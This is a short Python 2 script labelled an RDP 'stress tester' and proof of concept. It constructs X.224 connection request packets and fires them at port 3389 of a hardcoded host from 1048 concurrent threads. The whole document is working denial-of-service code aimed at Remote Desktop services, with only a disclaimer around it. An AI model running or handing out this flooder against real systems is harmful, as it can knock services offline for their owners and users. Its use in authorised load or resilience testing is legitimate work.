print "[+] Quick and Dirty RDP stress tester by op7ic (Y) (op7ica@gmail.com)"
print "[+] Also check out http://waitfordebug.wordpress.com/"
print "[+] This is only Proof Of Concept Tool provided as is. Author accept no responsibility for any misuse."
print "\n"

import threading
from threading import *

import socket


host= "192.168.2.10"
port = 3389

def sendRDPrequest(host,port):
    print "[+] Constructing X.224 Connection Request Packet"
    # constructed based on http://msdn.microsoft.com/en-us/library/cc240842%28v=prot.10%29
    header = "\x03"
    reserved = "\x00"
    length = "\x00\x2c"
    x224_length = "\x27"
    x224_type = "\xe0"
    x224_destination = "\x00\x00"
    x224_source = "\x00\x00"
    x224_class = "\x00"
    # Cookie: mstshash=eltons
    data = "\x43\x6f\x6f\x6b\x69\\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d\x65\x6c\x74\x6f\\x6e\x73\x0d\x0a"
    rdp_Type = "\x01"
    rdp_Flags = "\x00"
    rdp_Length = "\x08\x00"
    rdp_Proto_header = "\x00\x00\x00" # Generic protocol
    RDP_protocol = {
                    "\x00":"PROTOCOL_RDP",# PROTOCOL_RDP 
                    "\x01":"PROTOCOL_SSL",# PROTOCOL_SSL ( TLS 1.0 )
                    "\x02":"PROTOCOL_HYBRID"# PROTOCOL_HYBRID - CredSSP + SSL
                    }
    for pro in RDP_protocol.keys():
        # Construct valid RDP packet
        packet = header+reserved+length+x224_length+x224_type+x224_destination+x224_source+x224_class+data+rdp_Type+rdp_Flags+rdp_Length+rdp_Proto_header+pro
        # connect to host 
        try:
            connection_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            connection_socket.connect((host,port))
            connection_socket.send(packet)
            connection_socket.close()
        except:
            pass
class ThreadClass(threading.Thread):
    def run(self):
        sendRDPrequest(host,port)

# spawn many threads
for i in range(1048):
    t = ThreadClass()
    t.start()

      
